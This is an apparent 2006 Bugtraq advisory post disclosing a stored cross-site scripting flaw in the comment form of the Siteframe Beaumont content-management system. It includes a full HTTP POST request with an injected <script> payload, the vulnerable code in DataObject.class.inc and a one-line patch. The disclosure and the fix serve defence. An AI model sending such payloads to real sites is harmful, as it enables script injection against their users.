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Message-ID: <20060216220149.26450.qmail@securityfocus.com>
Date: 16 Feb 2006 22:01:49 -0000
From: federico.alice@...cali.it
To: bugtraq@...urityfocus.com
Subject: Re: Siteframe Beaumont 5.0.2 <== User Comment Cross-Site
Scripting Vulnerability
Sorry, but the advisory is this:
Siteframe Beaumont 5.0.2 <== User Comment Cross-Site Scripting Vulnerability
####################################
Information of Software:
Software: Siteframe Beaumont 5.0.1a
Site: http://www.siteframe.org/
Description of software: Siteframe is a lightweight content-management
system designed for the rapid deployment of community-based websites.
With Siteframe,a group of users can share stories and photographs, create blogs,
send email to one another, and participate in group activities.
####################################
Bug:
Siteframe contains a flaw that allows a remote cross site scripting attack.
The vulnerability is found in the user comment page and the user can modify
the function GET and insert the XSS code
- http POST request
http://[target]/edit/Comment
POST /edit/Comment HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it,it-it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&comment_subject=Kiki&comment_text=Hi&_submitted=1
but we can modify the request POST in this way:
comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&comment_subject=Kiki&comment_text=<script>alert("lol");</script>&_submitted=1
---------------------------------------------------------
Example:
you can insert in the text post an XSS code or you can modify the request in this way:
comment_id=&comment_user_id=554&comment_page_id=116&comment_reply_to=&comment_subject=Kiki&comment_text=[XSS]&_submitted=1
---------------------------------------------------------
The bug is in this part of DataObject.class.inc
[...]
// strip html
if ($info['formatted'] == 'ANY')
; // anything is allowed
else if ($info['formatted'])
$val = strip_tags($val, config('allowed_html'));
else if ($info['type'] != 'xml')
$val = strip_tags($val);
[...]
- Patch
in includes/DataObject.class.inc, change this:
if ($info['formatted'] == 'ANY')
to this:
if (!strcasecmp($info['formatted'], 'ANY'))
####################################
Credit:
Author: Kiki
e-mail: federico.sana@...ce.it
web page: http://kiki91.altervista.org
####################################
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